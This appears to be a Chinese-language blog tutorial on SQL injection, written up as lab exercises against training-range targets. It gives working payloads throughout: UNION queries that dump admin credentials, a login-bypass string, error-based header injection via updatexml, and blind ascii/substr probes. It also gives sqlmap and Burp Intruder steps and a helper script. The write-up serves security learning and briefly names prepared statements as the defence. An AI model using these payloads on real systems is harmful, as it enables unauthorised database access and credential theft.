SQL 注入

SQL 注入十分普遍,新闻在这 ➡️《报告称 超 6 成 Web应用程序攻击来自SQL注入》。

如上所述,SQL注入攻击 或 SQLi 是一种通过将恶意SQL语句插入其输入字段以供执行来利用SQL语句的基础漏洞的方法。

起于 1998 年一名叫 Rfp 的黑客发表的一篇文章。

从那时起,TA主要针对零售商和银行账户。

当与DDOS攻击,跨站点脚本(XSS)或 DNS劫持 等形式的攻击相结合时,可能会导致大规模的结果。

SQL 注入: 通过把SQL命令插入到 Web表单提交 或 URL 或 页面请求等的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令(即输入的数据被当成代码执行)。

关系型数据库如 MySQL、Access、Oracle,可以复杂查询:用SQL语句方便的在一个表以及多个表之间做非常复杂的数据查询。

需要有俩个条件才能注入:

1. 能够输入
2. 拼接了输入的数据(其实是被带入数据库执行)


《目录》

显错注入

判断是否存在注入点
猜字段数
联合查询寻找输出点
查询系统自带库以获取表名、字段名
Get 管理员账号密码
POST 注入

万能密码
猜字段数
寻找输出点
查询系统自带库以获取表名、字段名
Get 需要的字段值
Header 注入

判断是否存在注入点
报库名
获取表名
获取字段名
获取字段值
盲注

布尔盲注
时间盲注
宽字节注入

......
Cookie 注入

......
偏移注入

......
DNS 注入

......
反弹注入

......
报错注入

......


显错注入

  显错注入是SQL注入中最简单的一种。

  显错注入:输入命令进去,界面会不正常或者显示错误。

  举个例子,用浏览器打开这个 IP(59.63.200.79:8003)。

 

点击超链接,

 

往下翻一翻,

 

 

 

这是正常界面,现在我们尝试输入一些 代码 看是否有注入点。

不过,在此之前需要判断猫舍是什么数据库。

鼠标右击查看源代码,如果网页里找到了 php。

那猫舍就是基于 MySQL 数据库的,因为 php 基本都是 mysql 数据库。

 

 

世上很多事情发生的概率范围都在 (0,1) ,虽然也可能不是 MySQL ,但高手不是都看概率的么。

点击 index.php,浏览器新建了一个网页。

 

 

发现整个界面是一样的,再试一次发现依然如此。

那就是说, index.php 这个文件就是猫舍。

 

判断是否存在注入点

  如果要进行注入,首先得判断是否存在注入点。


遇到这样的网址 :http://xxxx.com/?id=xxx(域名) 或者是 http://xxx.xx.xxx.xx/?id=xxx(ip),那执行的SQL语句可能是这样:

select * from [某个表] where id=[某个数字],意思是:在表查找里面 id=某个数字 的数据。
也就是说只要在网址的 ?id=xxx 的基础上做点手脚,如把 ?id=xxx 改成 ?id=xxx or 1。

那,就从 只提取某个数字(id=某个数字) 的信息变成了提取表中的所有信息。

举个例子,id=1时,通过 where 子句查找只有满足 id=1 的信息才被提取出来,而使用了 or 1(一真必真) 不管是否满足 id = 1, where 子句会一直为真,也就把表中的所有信息都提取出来。

 

若 id = '字符串',而不是数字,就得加一对单引号,如,id =123 ,加上or 1 即可;id ='123' ,得改成 or '1'。

?id=xxx 的 ?一般是 Get 请求方式,后面的 id=1 是 Get 的传参。


在浏览器里输入:http://59.63.200.79:8003/?id=1 or 1

发现猫舍的信息没有任何变动,说明数据库里并没有其TA能显示的信息了。

 

注入需要的俩个条件:

  能输入
  拼接了输入的数据(其实是被带入数据库执行)
既然猫舍的URL满足注入需要的条件,接着判断 http://59.63.200.79:8003/?id=1(猫舍URL) 是否存在注入点。


判断方法:只需要插入的 代码被执行,就存在注入点:

1、加一个单引号,http://59.63.200.79:8003/?id=1' ,如果这个单引号被当成SQL语句,就不能正常的运行程序,页面也就不正常或者报错;如果没被当成 SQL语句,页面就显示不了。
2、加一个永假表达式,http://59.63.200.79:8003/?id=1 and 0 ,and(一假必假)
3、使用减法让id=1,http://59.63.200.79:8003/?id=2-1,如果页面正常,代码被执行就存在注入点
4、使用休眠函数 , or sleep(n)
.....
推荐使用方法 3,第 1、2 的方法容易被屏蔽,使用方法 1、2 不如使用其变种 如 and -1 = -1 ,and -1 = -2。


按道理来说,我们再 url 后面输入的是字符串而不是数字,因为 url 本身就是字符串。

那么,我们会执行数字的减法运算呢 ?

因为 猫舍是数字型传参(输入的数据是数字),输入的减号却没有当成字符是因为SQL 语句支持这样的基本运算 --- 加减乘除。

另外,传参时加号有时被当成空格,最好是用减法。

因此,输入的 2-1 被带到了数据库里执行。

若输入的数据全被当成了字符(即字符型传参),如 and 1 变成了 'and 1'。

那么,使用相同的语法(使用引号和注释)闭合或屏蔽掉。

 

 

显示结果是:

 

 

猫舍存在注入点。

 

猜字段数

猜字段数是因为需要用的联合查询以获取管理员的信息,又可以说联合查询是显错注入的核心。

但实现联合查询,需要一个条件。

在联合查询的语句俩边的表必须有相同的列数:

select * from 表1 union select * from 表2

表 1 和 表 2 ,需要有相同的列数(列名也要相同)。

因为联合查询会把俩个表的内容整合到一个新表展示给我们看。

举个例子,

                           表 1

user password
admin 123456

                           表2

user  password
Debroon º:NoTXnorC1/2(XJ+Z)+¡º
Alice º:1/2(S+S+Y)andRDS+£º



通过联合查询,得表 3:

                           表 3

user password
admin 123456
Debroon º:NoTXnorC1/2(XJ+Z)+¡º
Alice º:1/2(S+S+Y)andRDS+£º


猜字段数(即列数)就是想知道表的列数,好满足联合查询的条件。

假设上面的 表1 是管理员的账户,那可以通过猜字段数获取 表1 的列数(上面是2列)。

再通过联合查询 把 表1 的 信息拿出来:

select * from 表1 union select * from 表2,假设我们已经猜出了字段数是 2。

那么 表 2 就可以写成 1 和 2, select * from 表1 union select * from 1, 2。

执行出表3:

                           表 3

user password
admin 123456
1 2



这样就 Get 到 管理员 的账户了,当然这只是获取原理。

 

猜字段数,一般通过 order by:

order by n 的意思是根据第 n 列排序,如果没有第 n 列,就不能排不了序,界面也就会不正常。
and 1 order by 列,如果这个SQL执行不正常(界面会有错误), 我们就再尝试,增加或减少列,直到成功为止。
从 1 开始,构造 ?id=1 and 1 order by 1:

其实还有很普遍的格式:"and 1" 不会直接写 1,而是写成 and 1=1 或 and -1=-1, 这也是一个永真表达式。


and 1=1是在这里做了一个判断, and 1 的话在语句里是 1 and 1(其他数字也可以)放入判断时是为真的 。

但是and 1=1 的话在接下的注入可以换成 and 1=2 使前面的语句报错,方便后面的联合查询。


因此永假表达式,一般就写为 and 1=2,或 and -1=-2,而不是 0 ,我先演示一下,后面就用 and 1 或 and 0 因为我喜欢极致的执行速度。

可以说,有点强迫症;看 bolg 的哥们千万不要学我。

自己实操时,把 and 0 改成 and -1=-2;把 and 1 改成 -1=-1。

 

 

 

 

 

界面显示正常,加一列猜猜 2: (and 1 order by 2)

 

 

界面正常,继续加一列猜猜 3: (and 1 order by 3)

 

 

想要速度的话,改动最后的 200 即可,order by 1 时,是 201;order by 2 时,是 202;order by 3 时,是 203。

当字段 = 3时即 order by 3,界面显示不了。

因此,3 不存在,字段数 = 2。

 

联合查询寻找输出点

输出点的作用是什么?

猫舍的字段是2,对吧。

猫舍的输出点就是 1 或者 2,这个数字绝定了等下在 select 语句的位置:

如果是 1 要这样写: 第 1 位(select 输出点,X),
如果是 2 要这样写: 第 2 位(select X,输出点),
因为TA信息会显示再第二个字段,所以把要查询的信息写在会显示的字段内。

构造 ?id=1 and 0 union select 1,2:

 

 

如果输出点写错了位置,那么界面不会输出的!

 

查询系统自带库以获取表名、字段名

select * from 表1 union select * from 1, 2
现在使用联合查询,唯一不知道的就是 表 1 的名字(猜出了字段数 = 2)。

 

MySQL 在 5 以上的版本都自带了一个数据库,叫 information_schema。


p.s. 通过构造 ?id=1 and 0 union select 1,version() 来判断是否有 information_schema 库。

 

0 union select 1, version():

0 的作用是为了让前面的查询语句失效,因为联合查询只能显示一边的,左边的不报错右边的就不能显示了。
联合查询的左边是数据库的俩个字段我们看不到就按照原有的参数不动,右边是我们自定义的已知字段。
select 1, version(),是因为union的使用前提是前后查询的字段数要相等,因此 1 可以换成任意数字,当然改成 -1=-1 、-1=-2 等等会更好。
version() 要放在输出点的位置(2),因为TA会显示在第二字段,所以放在第二字段!

 

 

information_schema 里面都是好东西,譬如有:

字段(列) 和 表 的对应
表 和 库 的对应,保存在 information_schema 的 tables 表里
管理员的信息存储在某个表里,我们要想知道这个表,可以先从库入手。

MySQL 的 database() 函数可以直接获取 当前库的名字。


http://59.63.200.79:8003/?id=1 and 0 union select 1,database()

 


库名:maoshe。

获取表名,利用 库名 去 information_schema 查找 表名即可。

如, information_schema.tables.a

information_schema : 库
tables:库中的表
a:表中的字段
在后面设定条件: information_schema.tables.a where table_schema=database() limit 0,1

limit n,m : 在一个二维表中,n 表示从第 n+1 行开始,m 表示取几条,一般 m 只取 1,界面设计时常常每行就 1 个。
table_schema 是一个字段,即列名
database() 获取 库 的名字
数据库的格局大概是这样:

information_schema 的 tables 表中存储了表和库的对应关系
table_schema(库) table(表) maoshe A maoshe B maoshe C

完整输入:?id=1 and 0 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
table_name 是 information_schema 库自带的字段,用于取库中的表名 (放在 from 前的字段就是我们要取的数据)。

 


共 3 个表,maoshe 库中的第一行(limit 0, 1)的是 admin 表,第二行( limit 1,1 ) 是 dirs 表,第三行(limit 2, 1) 是 xss 表。

绝大多数情况下,管理员的账号密码都在admin表里,如果没有找到 admin 还得使用 limit n,m 继续翻,如下图。

 

 

接着查询 admin 表中的字段名,通过字段名(列名) 我们就知道 admin 表存储的内容是什么 !

column_name :是 information_schema 自带的字段,用于取表中的字段名,使用 limit 逐个获取:

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
构造语句一直查下去,直到网页没有显示任何内容,结果如下。

admin 共 3 列(字段)
第 0 行 (即 limit 0, 1) Id 第 1 行 (即 limit 1, 1) username 第 2 行 (即 limit 2, 1) password

也可以通过 GROUP_CONCAT(column_name) 一次性取出来,不过,这个函数有时会被限制:

获取 ID:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
3 个字段一起获取(ID\username\password): ?id=1 and 1=2 union select 1,GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
GROUP_CONCAT(col):返回由属于一组的列值连接组合而成的结果。

 


Get 管理员账号密码

显然,admin 表的内容有价值,继续查询字段内容:

?id=1 and 0 union select 1,username from admin limit 0,1,得到管理员账号:admin
?id=1 and 0 union select 1,username from admin limit 1,1 ,没有内容说明只要一个用户
?id=1 and 0 union select 1,password from admin limit 0,1,得到管理员密码:hellohack
也可以使用 GROUP_CONCAT(id, username, password) 一次取出。
图示:

 

 

 

 

 

 

判断注入点后,猜出字段数和输出点。

首先获取这个数据库的库名,而后获取所有的表名,最后找到用户表,从中 select 字段值。

我觉得,这 4 步都可以用爬虫代替,譬如利用 Python 的 webbrowser 模块。

 

 

老是手动的输入在地址栏实在是辛苦💦,使用这个程序前需要判断是否存在注入点以及字段数、输出点。

为了让爬虫更方便,我会把爬虫涉及的 4 个步骤的构造语句列出来,以猫舍的举例:

猫舍存在注入点、字段数为 2、输出点是 2。

猫舍的网址:http://59.63.200.79:8003/
构造语句查看数据库版本:?id=1 and -1=-2 union select 1,version()
构造语句查看库中的表名:?id=1 and -1=-2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 接下来改动 limit 的 0 即可。
构造语句查看库的字段名:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 接下来改动 limit 的 0 即可。
Get 需要的字段值:?id=1 and -1=-2 union select 1,password from admin limit 0,1
如果界面不正常,就检查打开的网址里面是不是有特别的符号,delete掉换成空格或者加号 即可。

 

#__author : "ziChuan"
#__data : 2019/7/18
# -*- coding: utf-8 -*-
import webbrowser
url, URL = None, None
def init():
    global url, URL
    url = input('请输入网页的url(输入完后加空格):> ').strip()
    URL = url
def version(url):
    version = input('构造语句查看数据库版本:> ').strip()
    url = URL
    url += version
    if url is not None and url != '':
        print("url:>","url",end='\n\n')
        return webbrowser.open(url)
    else:
        print('the URL is None or Empty!')
def table(url):
    table = input('构造语句查看库中的表名:> ').strip()
    url = URL
    url += table
    if url is not None and url != '':
        print('url:>',"url",end='\n\n')
        return webbrowser.open_new(url)
    else:
        print('the URL is None or Empty!')
def colname(url):
    col = input('构造语句 Get 需要的字段名:> ').strip()
    url = URL
    url += col
    if url is not None and url != '':
        print('url:>' + url, end='\n\n')
        return webbrowser.open_new_tab(url)
    else:
        print('the URL is None or Empty!')
def colval(url):
    col = input('构造语句 Get 需要的字段值:> ').strip()
    url = URL
    url += col
    if url is not None and url != '':
        print('url:>' + url, end='\n\n')
        return webbrowser.open_new_tab(url)
    else: print('the URL is None or Empty!')
def main():
    init()
    version(url)
    table(url)
    colname(url)
    colval(url)
if __name__ == '__main__':
        main()

 

比如,这个加号:

 

 

这里本来是空格的,因为加号有时被当成空格再加上运行这个程序的编辑器和网页的编码不同可能会产生这样异类的加号。

如果想预防的话,输入时把所有空格换成 加号,如:

构造语句查看数据库版本:?id=1+and+-1=-2+union+select+1,version()



[实操]:

获取数据库版本,

浏览器会自动打开网页并查看数据库版本:

 

获取库中的表名,

浏览器会自动打开网页并查看库中的表名,

 

获取库中的字段名,

浏览器会自动打开网页并查看库中的字段名,

 

获取字段值,

浏览器会自动打开网页并查看查看字段值:

 

当然,也可以使用 sqlmap 跑猫舍,参见《信息收集》的 sqlmap 篇。

放送,猫舍的源码:

 

 

现在的数据库基本上都不会存明文的密码了,2012年CSDN的数据库被黑客曝光,大家震惊地发现,密码都是明文存储的,由于很多人在多个网站都用同样的密码,明文密码的暴露一下子让很多网站都面临攻击的威胁。

 

可以事先把明文密码和计算好的hash值形成一个对照表,然后用数据库中密码的hash值去对照表中查找,如果找到了,明文密码也就有了。当然为了提高效率,人们还制作了所谓彩虹表。

加密方,还有一些手段会阻挠,如加盐。

加密方给每份密码都加了一个随机数,然后再做Hash操作。 这样一来,通过查找的方式就难于破解了,如图所示:

 

 

不过,知道了管理员账号密码就很简单,登陆后台查看即可。

防御SQL注入的最佳方式,就是不要拼接字符串, 而要使用预编译语句,绑定变量,不管你输入了什么内容,预编译语句只会把它当成数据的一部分。

比如,如果我们输入 '1'='1 等判断注入点的语句,参数化查询将不受攻击,而是寻找与 '1'='1 完全匹配的用户名。

密码方面,参见《密码学》。

作业:回想显错注入的 5 大步骤,最后一步得改成 Get 需要的字段值。

MD5[破解] 撞库攻击:https://cmd5.com/

POST注入

当浏览器使用的请求方式是 Get 时,使用 显错注入;当网页需要登陆账号密码时,采用的请求方式通常是 Post 请求方式。

最基本的请求方法其实有4种,分别为Get、Post、Put、Delete,对应着对资源的查、改、增、删。

Get一般用于获取/查询资源信息,而Post一般用于更新资源信息。

Get请求的数据会附在URL的后面,以 ?分割URL和传输的数据,参数之间用&相连接。

Post则会将请求的数据放置在请求的 form(表单)中。

登录界面的表单中,传输的账号和密码不会附在URL后面,而是被隐藏了起来。

Get 和 Post 的区别:http://www.w3school.com.cn/tags/html_ref_httpmethods.asp

因此,Post 注入常用于:

登陆表单/框
查询表单/框
评论表单/框
等等与数据库有交互的表单/框
Get 传数据拼接到 URL 后,因此要在 url 中注入;而 Post 传数据是以表单(form)的形式提交,因此要在 form 中注入 !!!


复习一下,注入的条件:

  可以输入

  拼接了输入的数据(其实是被带入数据库执行)

Post 注入的步骤和 Get 是一样的,只不过注入的地方不同;Post 注入写到 form 中,Get 注入写到 url 中。

Get传参判断是否存在注入点

 

Post传参判断是否存在注入点:

在输入框填入一些闭合的符号,看页面是否异常,如: '        "          ')          ")
    万能密码,如:' or -1=-1#
    ......
手工注入的一般采用第 1 种,很少有登陆框是有万能密码漏洞的,自动化注入是靠
工具来判断是否存在注入点,推荐用 sqlmap。

靶场:http://59.63.200.79:8812/New/PostBased/RankOne/sql-one/

已知靶场的账户名为 :zkz,密码不知。

先看我,如何判断:

输入 ',界面不正常

输入 ",界面正常

说明闭合有效,存在注入点;

万能密码

Post 注入最经典的案例,是万能登陆密码。

靶场:http://59.63.200.79:8812/New/PostBased/RankOne/sql-one/

我们使用 Get 的方式在后面加 ?id=10000000.99999 后,发现界面还是一样的。

>>>

 

 

这里,我们知道一个完整的账号密码:

账号:zkz
密码:zkz
登陆试试,如果显示了这张图片就说明登陆成功:

 

万能密码:' or -1=-1# ,还有许多写法。

这里的 sql 语句是这样的:

where username='zkz' and password='' or -1=-1# limit 0,1。

第一个引号是为了闭合密码框的引号,or -1=-1 为了让 where 语句成立,#可以把后面的内容都注释掉。

万能密码的本质:Post类型的 sql 注入。

 

猜字段数

4 种请求方式都差不多,特别是 Get 和 Post。

Get 步骤同样适用于 Post,不过输入是在 form 中而不是 url 里。

譬如,猜字段。

 

输入 zkz' order by 3# 时,

 

得到字段数为 2,省略了完整的过程,我从 5 开始猜的。

 

寻找输出点

与 Get 的语句一样,在 Username 里输入:zkz 'and -1=-2 union select 1,2#

输出点:1 、 2 都是。

表单的 url 也可以使用 sqlmap 跑,sqlmap 对 Post 注入点进行的注入:

python sqlmap.py -u http://59.63.200.79:8812/New/PostBased/RankOne/sql-one/ --form

--form:去读取页面中表单的传参名(如下面的 uname、password、submit)而后进行SQL注入;

从 Burp Suite 中把这些信息都拷贝到一个文件里,如图:

 

-r file_name.txt:读取 flie_name 文件并进行SQL注入,注入处可以打一个 * 号告诉Sqlmap测试那个点。

 

-- from 跑出来结果如下:

 

sqlmap 获取到了这个 url 是 Post 传参,传有 uname、passwoerd、submit 。

接着,一直会车即可,sqlmap 就会跑出 url 存在什么类型的注入点。

 

其余功能记录在《信息收集》,也许 kali 专题会细写。

 

 

查询系统自带库以获取表名、字段名

获取库名,输入:zkz' and -1=-2 union select 1, database() #

p.s. 如果有多行数据可以使用 limlit n,m 寻找,我用了 limit 寻找发现靶场只有一个库所以这个步骤没有写了。

 

当前库名为security。

获取表名,输入:zkz' and -1=-2 union select 1,group_concat(table_name) from information_schema.tables where table_schema="security" #

 

security 库下有 5 个表:emails、referers、uagents、users、zkaq。

我们猜需要的数据放在 zkaq 表。

获取字段名,输入:zkz' and -1=-2 union select 1,group_concat(column_name) from information_schema.columns where table_name="zkaq" #

 

zkaq 表有俩个字段名,flag 和 zKaQ。

获取字段值,输入:zkz' and -1=-2 union select group_concat(flag),group_concat(zKaQ) from zkaq #

 

而后把这些格式为: zKaQ-xxxxx 的信息全部拿到靶场匹配即可。

 

Get 需要的字段值

一一匹配后得到正确的 flag :zKaQ-P0stErr0rB4sed 。

 

靶场:http://59.63.200.79:8812/New/PostBased/RankOne/sql-one/
判断是否存在注入点:填入一些闭合的符号如 ' 、 " 、 ') 、 ")
猜字段数:zkz' order by 2#
寻找输出点:zkz 'and -1=-2 union select 1,2#
获取当前库名:zkz' and -1=-2 union select 1, database()#
获取表名:zkz' and -1=-2 union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#
获取字段名:zkz' and -1=-2 union select 1,group_concat(column_name) from information_schema.columns where table_name="zkaq"#
获取字段值:zkz' and -1=-2 union select group_concat(flag),group_concat(zKaQ) from zkaq#

p.s. 如果通不过就要检查一下是不是有多余的空格(2个或以上)。

 

第二关,需要用 ") 来闭合,这得靠认真观察靶场爆出来的 sql 语句或者瞎蒙得到,其余同理。

完整判断过程如下:

输入:'

              输入:zkz'

界面显示为:

 


异常

输入:"

输入:zkz"

界面显示为:

异常

中间的蓝色字体,说的是 sql 语法错误,这就说明用 " 闭合有效。

输入:" and 1=1# (and:一假必假)

输入:" and 1=1#

界面显示为:

异常

可能是还有别的符号,我们没有闭合 ,如 ) ,那就试试 !!!

输入:)" and 1=1#

输入:)" and 1=1#

界面显示为:

异常

emmm...

可能 ) 在 " 之前呢,顺序不对 ?

输入:") and 1=1#

输入:") and 1=1#

界面显示为:

正常

结论:存在注入点,且需要用 ") 来闭合。

 

靶场:http://59.63.200.79:8812/New/PostBased/RankTwo/sql-two/
判断是否存在注入点:填入一些闭合的符号如 ' 、 " 、 ') 、 ")
猜字段数:zkz") order by 2#
寻找输出点:zkz ")and -1=-2 union select 1,2#
获取当前库名:zkz ") and -1=-2 union select 1, database()#
获取表名:zkz ") and -1=-2 union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#
获取字段名:zkz") and -1=-2 union select 1,group_concat(column_name) from information_schema.columns where table_name="zkaq"#
获取字段值:zkz") and -1=-2 union select group_concat(flag),group_concat(zKaQ) from zkaq#

 

flag:zKaQ-P0stD0ubl4

 

 

Header 注入

打开url:https://y.qq.com/

 

我们在使用浏览器登陆 url 的时。

一般,只有两种动作:一种是从服务器那儿拿数据,称作Get;一种是把我们这里的信息交给服务器去处理,称作Post。

也就是上面的 显错注入 和 Post注入。

Get、Post,都被记录在【Network】里。

现在,调用“检查”(鼠标右击并点击)。

 

这样就可以看到构造网页的代码(右页):

 

点击 [Network],白茫茫一片地真干净~

刷新一下这个页面,出现了一个文件:

 

点击这个唯一的文件:

 

Headers:标头,用于介绍信息。

Header 注入就是伪造这里面的信息并交给服务器。

如果每个人访问任何一个网站,服务器都一一记下 Header 信息,数据库会爆的,存储成本太高了。

因此设计时考虑到存储问题,因此只有在登陆、注册、评论才会记录 Header 信息。

 

 

Headers 分为 4 个模块,也就是说这里面的信息都可以伪造。

General 模块:URL、请求方式、请求状态、服务器ip和端口、请求来源。

 

Response Headers 模块:关于服务器的信息。

Requests Headers 模块:浏览器发送请求的相关信息。

Query String Parameters 模块:浏览器发起 GET 请求时附带的参数。

打开 Burp Suite ,浏览器连接到 Burp,打开靶场的 url(http://59.63.200.79:8812/New/HeaderBased/RankOne/sql-one/) 。

 

点击 Send to Repeater,再点击 Repeater 看包:

 

点击 GO,

 

判断是否存在注入点

现在访问是正常的,如果修改请求头:

User_Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:67.0) Gecko/20100101 Firefox/67.0 改成 1'
点击 GO:

 

修改后,报错了:

 

单引号只闭合掉了前面的内容像后面的,10.42.111.24 (插入的一个字段即 ip)、zkz (也是插入的一个字段即 用户名) 就没闭合掉。

那么,完整的 SQL 语句需要插入 3 个东西,分别是:(User_Agent,ip,username) = (1','10.42.111.24','zkz')。

如果是 MySQL 数据库,闭合使用 # 即可,点击 GO。

 

没有报错:

 

其实我省略了一些过程,不加 ) 也会报错的,所以继续尝试加 ),自己尝试的时候就让其不报错就成功了。

也就是说,我们输入的东西被当成 SQL 语句执行了,这时候就可以搞点事情了。

 

报库名

因为是在 Header 里修改的(不仅仅可以修改 User_Agent 这个参数,其余参数也可以),因此也被称为 Header 注入。

SQL 注入就是想办法让数据库报错,再构建语句让数据库不报错~

构建的语句,不会报错:

User-Agent: 1','10.42.111.24','zkz')#
但这条语句,还没有实现注入的功能,修改如下:

User-Agent: 1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1),'10.42.111.24', 'zkz')#

语法:updatexml(目标xml内容,xml文档路径,更新的内容)


作用:updatexml() 更新xml文档的函数

这里使用 updatexml() 函数可以报库名,0x7e 是 16进制的转成 ACSII 码就是 ~,concat 是连接函数。

concat(0x7e,(SELECT database()),0x7e):就是把俩个波浪号和库名连接再一起,这样数据库就找不到这个库,以这样的形式报出库名:

:~库名~
:~security~

 

输入上面的代码时,别多别少别中文 !

 

获取表名

User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1),'10.42.111.24', 'zkz')#

 

security 库 5 个表,emails、referers、uagents、users、z,但因为报错有长度限制因此,不要用 group_concat() 函数改用 limit。

User-Agent: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="security" limit 0,1),0x7e),1),'10.42.111.24', 'zkz')#
User-Agent: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="security" limit 1,1),0x7e),1),'10.42.111.24', 'zkz')#
User-Agent: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="security" limit 2,1),0x7e),1),'10.42.111.24', 'zkz')#
User-Agent: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="security" limit 3,1),0x7e),1),'10.42.111.24', 'zkz')#
User-Agent: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="security" limit 4,1),0x7e),1),'10.42.111.24', 'zkz')#
最后一个表其实是 zkaq,如图:

 

获取字段名

经过一系列的观察,觉得我们需要的 flag 应该是在 zkaq 表。

User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="zkaq"),0x7e),1),'10.42.111.24', 'zkz')#

 

zkaq 表里共 2 个字段:flag、zKaQ。

 

获取字段值

想一想,字段值可能会有很多,而报错是有长度限制的。

因此,使用 limit 比 group_concat() 函数好 !

User-Agent: 1' and updatexml(1,concat(0x7e, (select group_concat(flag),group_concat(zKaQ) from zkaq, 0x7e),1),'10.42.111.24', 'zkz')#
使用 group_concat() 得不到完整结果,改用 limit :

User-Agent: 1' and updatexml(1,concat(0x7e, (select zKaQ from zkaq limit 0,1), 0x7e),1),'10.42.111.24', 'zkz')#

 


接着,一直加 limit 即可,匹配到正确的 flag :zKaQ-HtTpH4ader。

其余的关卡,同理可得。

第二关,flag :zKaQ-HtTpR4FeRer。

第三关,flag :zKaQ-HtTpCo0kie。

 

盲注

盲注:就是在服务器没有错误回显的时候完成的注入攻击。

盲注分为:布尔盲注 和 时间盲注。

玩布尔盲注,有点像猜数字游戏,玩起来有点没玩没了 !!!

布尔盲注

布尔盲注采用的 3 个函数:


length( ) :返回字符串的长度。


substr( ) : 返回截取的字符串。


ascii( ) :返回单个字符的ascii码。

有一些编程语言基础的同学,应该了解这些函数。

length('hi') :返回 2。
substr('recevied', 1, 2) :从字符串 'recevied' 中第 1 个字母开始截 2 位,也就是返回 re。
ascii('m'):109,不了解可以百度一下。

 

ASCII 码对照表

计算机的核心就是布尔值,而布尔值很大程度是通过比较而来的。

数字可以直接比较,但字符不能比较,因此 ASCII 的作用就是将字符变成数字完成字符间的比较。

 

 

注入的俩个条件:

能输入
拼接了输入的数据(其实是被带入数据库执行)
盲注与显错注入是有关系的,在显错注入中我们判断是否存在注入点,是通过输入代码后页面的回显。

有显错注入的注入点的网站,会显示错误,比如 猫舍:

构造语句 ?id=1'

 

 

而我们在显错注入中注入猫舍时,实际上猫舍没有报错因为TA的Web服务器关闭了错误提示,但猫舍的确存在显错注入漏洞以及盲注的漏洞。

显然看了这个错误提示就知道,猫舍是由 phpstudy 快速建站的 !

想这样建站的话,可以参见《Web 通信原理》。

布尔盲注的靶场:http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/

存在布尔注入点的网站,一般只有俩种状态。

一种就是正常界面,另一种就是异常界面而且每个异常界面都是相同的,比如猫舍。

在 url 后构造正确的 sql 语句,可以返回正常的界面;构造错误的 sql 语句,每个界面都只有一张图片且没有任何文字内容。

 


n 的范围一般是 0 ~ 127,整个布尔盲注:

通过 length() 猜当前数据库的长度: id=1' and (length(database()))= n # ,n 是猜的数
字,不断猜 n 得到库的长度......
通过 ascii() 和 substr() 猜当前数据库的名称:and ascii(substr((select database()),i,1))=
n --+,n 是猜的数字,i 是猜的第几个字母,i = 1 时,猜的就是库名的第 1 个字母,i = 2 时,猜的是库
名的第 2 个字母,依此类推...... 通过 ascii() 和 substr() 猜表名:and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),i,1))= n --+,n 是猜的
数字,和猜库名差不多,i 是猜的第几个字母,慢慢猜就好...... 通过 ascii() 和 substr() 猜字段名:
and ascii(substr((select column_name from
information_schema.columns where table_name='表名' limit 0,1),i,1))= n --+ ,n 是
猜的数字,和猜表名差不多,i 是猜的第几个字母,慢慢猜就好...... 通过 ascii() 和 substr() 猜字段值:
and ascii(substr(( select 字段名 from
表名 limit 0,1),i,1))= n --+ ,n 是猜的数字,和猜表名差不多,i 是猜的第几个字母,慢慢猜就好...... p.s. 这部分构造的语句可能有错误,因为这里只是凸显步骤。

 


这就是布尔盲注,步骤是真的NX,猜猜猜......

这显然是给计算机研究出来的,计算机最擅长处理的就是布尔值,丢给计算机分分钟搞定。

因此可以自己写程序,也可以使用工具:Burp Suite 和 sqlmap。

[Burp]

首先,浏览器连上 Burp:

 

打开 Burp Suite:

 

 

这个靶场的数据库开头字母是 s,ascii(s) = 115。

在浏览器中打开:http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1' and ascii(substr((select database()),1,1))=115 --+

界面正常,会显示 You are in...

 

 

回到 Burp Suite,找到访问 url 的包:

 

用 Burp Suite 爆破:

我们要枚举的是库名的长度、库名、表名、字段名、字段值,那么他们的范围是 ??
ASCII 码的范围也是 n 的范围,[0,127]。
枚举 [0,127] 实现 url 爆破,就可以得到库名的长度、库名、表名、字段名、字段值。
把这个包发送过去:

 

点击 [intruder],想要配置一些内容:

 

点击 [Positions]:

 

点击右边的 Clear。

我们要爆破的就是 n,n 现在是 115(已经猜出来第一个字母的 ascii 值是 115)。

 

点击 右边的 Add,此时 115 被设置为一个变量:

 

设置 [Payloads]:

 

 

选择 Burp Suite 自带的数字字典:

 

 

数字字典:

 

 

我们跑 [0,127],设置如下:

 

 

开始跑,点击[Start attack]:

 

 

跑出来长度会有所不同,因为返回正确的包和不正确的包长度不一样。

我们在最开始试过,得到库名的第一个字母是 115,界面也会显示 You are in ... ,不记得可以看看布尔盲注的开端访问靶场的图片。

 

 

第一个就跑出来了,1002 的 115、0 都会显示 You are in...,因为 0 其实就是 115,我们放进去的数字就是 115,0 代表不变。

很多包的长度是相同的,看一个就可以快速排除所有长度相同的,其余的也是这样猜......

 

 

找到了,好巧又是 1002,这次 acsii 是 101,也就是字母:e。

 

 

下面的就不一一介绍了......

 

时间盲注

和布尔盲注一样,时间盲注也有几个函数,想要掌握:

sleep( n ):暂停 n 秒
